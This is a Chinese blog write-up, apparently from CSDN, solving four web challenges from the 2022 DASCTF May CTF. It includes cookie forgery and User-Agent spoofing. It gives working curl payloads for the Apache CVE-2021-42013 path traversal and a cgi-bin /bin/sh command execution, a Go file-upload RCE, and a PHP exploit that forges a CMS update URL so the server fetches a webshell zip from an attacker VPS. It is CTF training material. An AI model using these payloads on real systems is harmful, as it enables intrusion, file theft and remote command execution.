2022DASCTF MAY web

Power Cookie

开启环境后,我们发现了一个 login by GUEST

 我们对其进行抓包 根据提示:只有admin才可以获取flag

更改cookie为admin=1 得到flag

 魔法浏览器

在网站源码里,发现了一串 hex编码 对其解码

let ua = "\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30 \x28\x57\x69\x6e\x64\x6f\x77\x73 \x4e\x54 \x31\x30\x2e\x30\x3b \x57\x69\x6e\x36\x34\x3b \x78\x36\x34\x29 \x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36 \x28\x4b\x48\x54\x4d\x4c\x2c \x6c\x69\x6b\x65 \x47\x65\x63\x6b\x6f\x29 \x4d\x61\x67\x69\x63\x2f\x31\x30\x30\x2e\x30\x2e\x34\x38\x39\x36\x2e\x37\x35";    
console["\x6c\x6f\x67"]
string="\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30 \x28\x57\x69\x6e\x64\x6f\x77\x73 \x4e\x54 \x31\x30\x2e\x30\x3b \x57\x69\x6e\x36\x34\x3b \x78\x36\x34\x29 \x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36 \x28\x4b\x48\x54\x4d\x4c\x2c \x6c\x69\x6b\x65 \x47\x65\x63\x6b\x6f\x29 \x4d\x61\x67\x69\x63\x2f\x31\x30\x30\x2e\x30\x2e\x34\x38\x39\x36\x2e\x37\x35"
#Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Magic/100.0.4896.75
print(string)
#log
print("\x6c\x6f\x67")

 更改user-Agent 为 得到的浏览器

得到flag

getme

没有信息,源码里有一个:pwd:/usr/local/apache2/

 抓包后在返回包信息中得到 server版本为 Apache/2.4.50 (Unix)

搜索后可知是 CVE-2021-42013

参考:Apache HTTP Server 2.4.50 中的路径遍历和文件泄露漏洞 (CVE-2021-42013)

漏洞利用poc:

curl -v --path-as-is 目标地址:端口/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

查看任意文件:

 证明存在此漏洞。

目标服务器开启cgi或者cgid时候,可以命令执行

    curl -v --data "echo;命令" '目标地址:端口/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

我们查看一下日志,看看有没有flag信息:

在日志中发现了flag的信息

 

 这个是假的flag,那么看看下面的那个fffffflalllallalagggggggggg

我们请求一下这个fffffflalllallalagggggggggg,得到flag

hackeme

知识点:golang、文件上传、rce

一道go的题目,对这方面不太了解,不过这道题还是比较简单的go

 可以点击,点进去 之后是一个list

挨个点击可以获得一些对应的文件和回显

whoami :"root<br>"

whereami:"/home/main<br>"

uptime:" 14:29:19 up 2 min, 0 users, load average: 11.68, 13.99, 13.58<br>"

flag:DASCTF{THIS_IS_FAKE_FLAG}<br>

但是users文件不存在

所有需要我们上传一个users.go文件,然后其执行,我们访问users,会返回文件执行结果

我们搜索一个执行命令的go文件

Go语言中用 os/exec 执行命令的五种姿势 - 知乎

/目录下执行 ls -l命令  发现了flag

更改users.go文件的命令,再上传 执行 cat /flag 得到flag

cmd := exec.Command("cat", "/flag")

ezcms

打开发现是一个漫城cmd,在url里加上/admin.php进入登陆窗口

 弱口令:用户名:admin 密码:123456

ezcms\sys\apps\controllers\admin目录下,注意其中的Update.php

在Update.php中,会去根据GET方式传的url,下载远程的zip包

然后将压缩包解压,将里面的文件放在我们能访问到的目录下,所以可以传一个木马


但是需要用到sys_auth函数的对我们传入的字符串进行解密为http://ip//a.zip这样的格式,然后才进行下载

这个sys_auth函数不能单独直接在本地使用,因为其中有个Mc_Encryption_Key全局变量

  跟进得到 Mc_Encryption_Key的值

//encryption_key密钥

define('Mc_Encryption_Key','GKwHuLj9AOhaxJ2');

最后直接赋值sys_auth函数作为加密构筑即可。

提前在vps放上a.zip,a.zip中放入我们的php一句话木马  密码为1vxyz

最终exp

<?php
//encryption_key密钥
define('Mc_Encryption_Key','GKwHuLj9AOhaxJ2');

//字符加密、解密
function sys_auth($string, $type = 0, $key = '', $expiry = 0) {
	if(is_array($string)) $string = json_encode($string);
	if($type == 1) $string = str_replace('-','+',$string);
	$ckey_length = 4;
	$key = md5($key ? $key : Mc_Encryption_Key);
	$keya = md5(substr($key, 0, 16));
	$keyb = md5(substr($key, 16, 16));
	$keyc = $ckey_length ? ($type == 1 ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
	$cryptkey = $keya.md5($keya.$keyc);
	$key_length = strlen($cryptkey);
	$string = $type == 1 ? base64_decode(substr($string, $ckey_length)) :  sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
	$string_length = strlen($string);
	$result = '';
	$box = range(0, 255);
	$rndkey = array();
	for($i = 0; $i <= 255; $i++) {
		$rndkey[$i] = ord($cryptkey[$i % $key_length]);
	}
	for($j = $i = 0; $i < 256; $i++) {
		$j = ($j + $box[$i] + $rndkey[$i]) % 256;
		$tmp = $box[$i];
		$box[$i] = $box[$j];
		$box[$j] = $tmp;
	}
	for($a = $j = $i = 0; $i < $string_length; $i++) {
		$a = ($a + 1) % 256;
		$j = ($j + $box[$a]) % 256;
		$tmp = $box[$a];
		$box[$a] = $box[$j];
		$box[$j] = $tmp;
		$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
	} 
	if($type == 1) {
		if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
			$result = substr($result, 26);
			$json = json_decode($result,1);
			if(!is_numeric($result) && $json){
				return $json;
			}else{
				return $result;
			}
		}
		return '';
	}
	return str_replace('+', '-', $keyc.str_replace('=', '', base64_encode($result)));
}

$url = "http://ip/123.zip";
echo(sys_auth($url));

之后生成的内容构筑访问update路由

http://5f1c9781-1871-4704-9f2f-0849aaf63a0b.node4.buuoj.cn:81/admin.php/update?url=c161kf-iJGQKAh8zQ4x8mh4-4nac-kgKhpwhj614UiYTKmre2zJKeCbneb4WN-lmlypF4SP0JUg

最后访问http://5f1c9781-1871-4704-9f2f-0849aaf63a0b.node4.buuoj.cn:81/a.php 

flag在根目录下 得到flag

参考:2022DASCTF May出题人挑战赛官方Write

2022DASCTF MAY 出题人挑战赛_Sk1y的博客-CSDN博客 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值